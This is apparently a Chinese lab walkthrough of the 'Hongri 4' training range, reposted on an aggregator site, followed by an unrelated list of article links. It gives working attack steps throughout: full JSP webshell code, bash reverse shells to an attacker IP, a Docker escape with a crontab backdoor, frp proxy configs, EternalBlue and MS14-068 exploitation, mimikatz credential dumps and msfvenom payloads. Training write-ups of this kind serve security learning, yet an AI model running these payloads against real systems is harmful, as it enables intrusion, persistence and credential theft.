红日靶场 4

news2024/11/25 2:40:43

靶场配置

image

733 x 668899 x 819

image

733 x 6161466 x 1232

image

733 x 6261449 x 1237

image

733 x 6301450 x 1247

IP 地址分配:

Win7:
192.168.183.133(内网)

Ubuntu:
192.168.183.134(内网)
192.168.120.137(外网)

DC:
192.168.183.130(内网)

Kali:
192.168.120.128(外网)

ubuntu 上可以启动一下 docker

docker start ec 17 09 bb da 3d ab ad

拓扑如下:

​​​

image

733 x 3861867 x 982

​​​

打点 ×3

拿 fscan 都能扫出来,然后拿工具直接打就行了

image

733 x 3671721 x 861

Tomcat

这个就利用最简单的写木马即可了

einzbernnn/Tomcatscan: Tomcat 漏洞批量检测工具 (github.com)

然后修改 poc/cve_2017_12615.py 里面的 body 成冰蝎就可以了:

body = '''<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>'''

image

733 x 4342171 x 1286

image

733 x 2021651 x 456

拿着这个 jsp 地址直接连接就可以了

image

733 x 4681954 x 1247

Struct2

image

733 x 5161662 x 1171

也可以直接弹 shell​->bash -c "bash -i >& /dev/tcp/192.168.120.1/4444 0>&1"

image

733 x 1572522 x 539

phpMyadmin

版本是 4.8.1:

image

733 x 4022485 x 1363

有个任意文件读取的洞

要利用的话首先要把利用的 php 语句执行一下查询,让他记录在 session 中

image

733 x 3862495 x 1313

再利用包含读取 session 文件即可,/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_a4d1a8108774d843aef5e34e7043568a

image

733 x 4452282 x 1385

这里是可以执行 phpinfo 的,但是无法执行 system 或者其他 getshell 语句,挺奇怪的

三个点都是 docker 搭建的,所以就是看哪个点可以执行 docker 逃逸

Docker 逃逸

经过 CDK 检测,只有 Tomcat 的那个点可以进行 docker 逃逸

image

733 x 3541917 x 926

但是这里只能对文件进行操作

所以我们就写计划任务了,这里好像是远程机器的 ssh 开启 Public 那个选项,可以写公钥,这里还是利用计划任务演示吧

fdisk -l 看一下可挂载的磁盘

image

733 x 2301369 x 430

mkdir /qingfeng 以 qingfeng 文件夹作为挂载的文件夹

/qingfing: mount /dev/sda1 /qingfeng

写反弹 shell 脚本

echo '#!/bin/bash' > /qingfeng/tmp/qingfeng.sh

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.120.1/9090 0>&1"  >> /qingfeng/tmp/qingfeng.sh

image

再写个计划任务:

sed -i '$a*/2 *   * * *   root  bash /tmp/qingfeng.sh ' /test/etc/crontab

cat /qingfeng/etc/crontab

​​

image

733 x 2601451 x 515

​​

之后监听 9090 等两分钟即可吃到 shell

image

733 x 1701308 x 303

内网渗透

首先就是直接上 fscan 开扫了,先看一下网段

image

733 x 3671652 x 827

能扫到两个 ms17010,但是只有 win7 的能够打通

image

733 x 3851936 x 1017

接下来就是配置代理去打 ms17010 了

代理配置

上传 frpc 以及 frpc.ini 到攻破的 web 服务器下

frpc.ini 的配置如下:

[common]
server_addr = 192.168.120.1
server_port = 7000
token = frpToken@admin2022


[proxy]
type = tcp
plugin = socks5
remote_port = 25599

接下来就是开启 frps 了,frps.ini 的配置如下:

[common]
## 一、服务器的基本配置部分
## 7000 是FRP服务端口,可以改
bind_port = 7000
## dashboard_user和dashboard_pwd是FRP网页版管理员用户名密码,可以改。
dashboard_user = admin
dashboard_pwd = frpadmin@2022
## 7500 是网页版管理端口:可以通过 http://服务器ip:7500登陆
dashboard_port = 25500
## 服务器和客户机之间的心跳连接
heartbeat_timeout = 30
#token设置,需要和客户端一致,客户端与服务端通过token进行认证,建议满足复杂度要求
token=frpToken@admin2022

先在本机运行 ./frps -c frps.ini

image

733 x 641729 x 151

再在 web 服务器运行 ./frpc -c frpc.ini​即可

image

733 x 681917 x 177

当出现 listen port 以及 success 说明连接成功

image

733 x 1161696 x 268

kali 打 ms17010

启动 msf:msfconsole

因为这里就挂了一个端口代理,所以用正向的攻击方式简单点,不然还得再配置一个代理

use exploit/windows/smb/ms17_010_eternalblue #使用ms17010模块
set payload windows/x64/meterpreter/bind_tcp #设置正向连接
set rhosts 192.168.183.133 # 设置win7的ip地址为目标地址

image

733 x 3552204 x 1066

配置好直接 run 即可:

​​

image

733 x 8361092 x 1245

​​

所以下一步的目标就是攻破域控了

内网横向

为了方便我这里直接添加用户上桌面了:

net user qingfeng qwer1234! /add
net localgroup administrators qingfeng /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

配置都是老掉牙了,不熟悉可以看看前面的红日打靶:

image

733 x 4331809 x 1068

image

733 x 3101195 x 506

上桌面后传一个 mimikatz 抓密码,你也可以直接使用 msf 的 kiwi

meterpreter > kiwi_cmd sekurlsa::logonpasswords

Authentication Id : 0 ; 444103 (00000000:0006c6c7)
Session           : Interactive from 1
User Name         : douser
Domain            : DEMO
Logon Server      : WIN-ENS2VR5TR3N
Logon Time        : 2023/12/27 21:10:03
SID               : S-1-5-21-979886063-1111900045-1414766810-1107
        msv :
         [00010000] CredentialKeys
         * NTLM     : bc23b0b4d5bf5ff42bc61fb62e13886e
         * SHA1     : c48096437367aad00ac2dc70552051cd84912a55
         [00000003] Primary
         * Username : douser
         * Domain   : DEMO
         * NTLM     : bc23b0b4d5bf5ff42bc61fb62e13886e
         * SHA1     : c48096437367aad00ac2dc70552051cd84912a55
        tspkg :
        wdigest :
         * Username : douser
         * Domain   : DEMO
         * Password : Dotest123
        kerberos :
         * Username : douser
         * Domain   : DEMO.COM
         * Password : (null)
        ssp :
        credman :

这里抓到了用户的 SID,可以尝试使用 MS14-068 打一下了,如果域控没装 KB3011780 的话就可以拿下


可能用得到的工具下载地址:

Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

PSexec 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases


首先需要生成票据:

MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

image

733 x 5611139 x 871

桌面会生成一个票据

下一步利用 mimikatz.exe(记得管理员权限)将证书写入,可以提升为域管理员:

kerberos::ptc TGT_douser@DEMO.COM.ccache

image

733 x 291815 x 323

接着使用 PsExec64 横向:

PsExec64.exe \\WIN-ENS2VR5TR3N cmd.exe

这个计算机名字是 fscan 的时候扫出来的:

image

733 x 3711998 x 1012

然后运行即可拿到域控的 shell:

使用 ipconfig 命令可以看到已经是域控的 IP 了

image

661 x 682

域控上线

其实到这也算打靶结束,但是这里给自己下一个题,如何再上线呢?

我这里的思路就是通过 certutil 命令下载木马到域控,再通过一层端口转发到我们的 kali,把木马流量转发到我们的 kali 即可上线成功

首先在 ubuntu 上写入 frps.msf 文件:

[common]
bind_port = 7001
token=frpToken@admin2022

image

733 x 348937 x 445

接着配置 kali 使用 frpc.msf:

[common]
server_addr = 192.168.120.137 # ubuntu的外网地址
server_port = 7001
token = frpToken@admin2022

[proxy]
type = tcp
local_ip = 192.168.120.128 # kali地址
local_port = 9999
remote_port = 9999

若是这样跑起来则是把 192.168.120.137 的 9999 端口流量转发到 kali 的 9999 端口

所以生成木马也是选择 ubuntu 的地址作为木马地址:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.183.134 LPORT=9999 -f exe > dc.exe

192.168.183.134 是 ubuntu 的内网地址

msf 监听等待回连

use exploit/multi/handler
set lport 9999
set lhost 192.168.120.128
set payload windows/x64/meterpreter/reverse_tcp

然后通过 win7 让 dc 下载木马程序:

image

733 x 2961727 x 697

这里的 web 服务你可以使用 HFS 也可以直接跑 python,只要能让域控访问到就行

其实这里可以直接放到 ubuntu 的 web 目录下直接让 dc 访问也可以,当时做的时候传 HFS 方便点

下载完后运行 dc.exe 即可上线 MSF

image

733 x 7641105 x 1152

跑个 ipconfig 证明一手:

image

733 x 7531104 x 1134

至此红日 4 成功完成

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1366616.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

并发(6)

目录 36.什么是CAS&#xff1f; 37.CAS使用示例&#xff0c;结合AtomicInteger给出示例&#xff1f; 38.CAS会有哪些问题&#xff1f; 39.AtomicInteger底层实现&#xff1f; 40.请阐述你对Unsafe类的理解&#xff1f; 36.什么是CAS&#xff1f; CAS的全称为Compare&#…

QT DAY1作业

1.QQ登录界面 头文件代码 #ifndef MYWIDGET_H #define MYWIDGET_H#include <QWidget> #include <QIcon> #include <QLabel> #include <QPushButton> #include <QMovie> #include <QLineEdit>class MyWidget : public QWidget {Q_OBJECTpu…

LLM之LangChain(一)| LangChain六大核心模块简要汇总

声明&#xff1a;本文主要内容来自以下书籍《LangChain入门指南&#xff1a;构建高可复用、可扩展的LLM应用程序》和LangChain官网&#xff0c;非常感谢作者的贡献&#xff0c;由于作者有版权限制&#xff0c;因此在这里声明&#xff0c;如果涉及侵权&#xff0c;请联系我删除此…

java 创建一个可执行的jar包小程序

第1步&#xff1a;写好代码 public class Main {public static void main(String[] args) {String str "hahah";if (StringUtils.isBlank(str)) {System.out.println(str);}System.out.println("Hello world!");} }第2步&#xff1a;设置 Artifact 选择入…

HTTPS网站被攻击的原理,网站被攻击应该如何进行防护吗,新手必知

网站是通过独特的一个端口来进行加密传输&#xff0c;防止传输中的内容被窃取&#xff0c;一般用HTTPS协议做网站的&#xff0c;一般是大型网站&#xff0c;以及支付网站&#xff0c;用户数据比较重要的一些网站&#xff0c;证书要单独购买&#xff0c;HTTPS超文本传输安全协议…

无人地磅系统|内蒙古中兴首创无人地磅和远程高效管理的突破

走进标杆企业&#xff0c;感受名企力量&#xff0c;探寻学习优秀企业领先之道。 本期要跟砼行们推介的标杆企业是内蒙古赤峰市砼行业的龙头企业&#xff1a;赤峰中兴首创混凝土搅拌有限责任公司&#xff08;以下简称为中兴首创&#xff09;。 中兴首创成立于2011年初&#xff…

OpenFeign学习思维导图

参考&#xff1a; 1、OpenFeign如何为FeignClient生成动态代理类 2、Feign底层原理分析-自动装载&动态代理 3、FactoryBean和普通Bean的区别

gephi——graphviz插件设置

gephi_graphviz插件设置 以下是我总结出来的一点经验 1. 安装graphviz软件&#xff0c;请见作者其他博客 2. 安装gephi 插件&#xff0c;并激活 3. 运行graphviz布局&#xff0c;会遇到找不到dot问题 问题描述&#xff1a;Graphviz process error X There was an error launc…

Wi-Fi 6 超值畅享|乐鑫发布 ESP32-C61 SoC

乐鑫信息科技 (688018.SH) 宣布推出全新的 Wi-Fi 6 Bluetooth 5 (LE) SoC ESP32-C61。这款芯片作为 ESP32-C 系列的新成员&#xff0c;旨在满足对 Wi-Fi 6 技术不断增长的市场需求。ESP32-C61 在继承 ESP32-C2 和 ESP32-C3 成功经验的基础上&#xff0c;显著优化了外设、强化了…

使用flet创建todo应用

使用 Flet 在 Python 中创建待办事项应用 Create To-Do app in Python with Flet 翻译官网教程https://flet.dev/docs/tutorials/python-todo&#xff0c;对一些地方进行了注释和修改。 安装flet Python版本需要3.8及以上&#xff0c;使用pip安装&#xff1a; pip install…

怎么批量在文件名前面加编号?

怎么批量在文件名前面加编号&#xff1f;我们时常需要给文件的名称进行编号&#xff0c;通过给文件名进行编号&#xff0c;可以使文件按照编号的顺序进行排序&#xff0c;方便进行查找和整理。特别是在处理大量文件时&#xff0c;编号可以提供一种有序的方式来组织文件&#xf…

【redis】Redis中的字典类型:数据结构与使用方法

文章目录 Redis中的字典类型&#xff1a;数据结构与使用方法简介如何提高哈希表性能如何使用 Redis中的字典类型&#xff1a;数据结构与使用方法 简介 Redis中的字典类型的底层实现是哈希表&#xff08;Hash Table&#xff09;。 Redis的字典使用哈希表作为底层实现&#xf…

软件测试|MySQL主键约束详解:保障数据完整性与性能优化

简介 主键&#xff08;PRIMARY KEY&#xff09;的完整称呼是“主键约束”&#xff0c;是 MySQL 中使用最为频繁的约束。一般情况下&#xff0c;为了便于 DBMS 更快的查找到表中的记录&#xff0c;都会在表中设置一个主键。 MySQL是一种广泛使用的开源关系型数据库管理系统&am…

海豚²来了丨DolphinDB 集成 DolphinScheduler,任务调度更轻松

DolphinDB 是一款高性能时序数据库。DolphinDB 集成了功能强大的编程语言和高容量高速度的批流一体数据分析系统&#xff0c;为海量数据&#xff08;特别是时间序列数据&#xff09;的快速存储、检索、计算及分析提供一站式解决方案。在实际生产环境中&#xff0c;经常存在数据…

LeetCode刷题12:贪心算法解决1402.做菜顺序

一个厨师收集了他 n 道菜的满意程度 satisfaction &#xff0c;这个厨师做出每道菜的时间都是 1 单位时间。 一道菜的 「 like-time 系数 」定义为烹饪这道菜结束的时间&#xff08;包含之前每道菜所花费的时间&#xff09;乘以这道菜的满意程度&#xff0c;也就是 time[i]*sa…

决策树--CART回归树算法详解

1、介绍 &#xff08;1&#xff09;简介 CART&#xff08;Classification and Regression Trees&#xff09;回归树是一种基于决策树的机器学习算法&#xff0c;用于预 测连续型目标变量而不是离散型类别变量。 &#xff08;2&#xff09;生成过程 ① 选择一个特征和相应的…

安达发APS|PDM产品数据管理可以帮助企业实现的价值

在实际运用中&#xff0c;APS系统的PDM产品数据管理功能可以帮助企业实现以下价值&#xff1a; 1. 提高产品设计和制造的效率&#xff1a;通过对产品结构和文档的统一管理&#xff0c;可以实现对产品信息的快速查询和检索&#xff0c;提高产品设计和制造的效率。 2. 保证产品数…

软件测试|测试平台开发-Flask入门:Flask动态路由

前言 之前我们介绍了flask发送http请求&#xff0c;以及flaskURL的详解&#xff0c;我们使用的路由都是固定的&#xff0c;一个路径和一个视图函数绑定&#xff0c;当访问这条路径时会触发相应的处理函数。但是当我们要处理更为复杂的情况时&#xff0c;比如我们有多个用户&am…

PyTorch|保存与加载自己的模型

训练好一个模型之后&#xff0c;我们往往要对其进行保存&#xff0c;除非下次用时想再次训练一遍。 下面以一个简单的回归任务来详细讲解模型的保存和加载。 来看这样一组数据&#xff1a; xtorch.linspace(-1,1,50)xx.view(50,1)yx.pow(2)0.3*torch.rand(50).view(50,1) 画…

SpringBoot + Mybatis 实现多数据源原来如此简单

1、为什么需要整合多数据源 在开发的过程中&#xff0c;我们可能会遇到一个工程使用多个数据源的情况&#xff0c;总体而言分为以下几个原因 a、数据隔离&#xff1a;将不同的数据存储在不同的数据库中&#xff0c;如多租户场景 b、性能优化&#xff1a;将数据分散到多个数据库…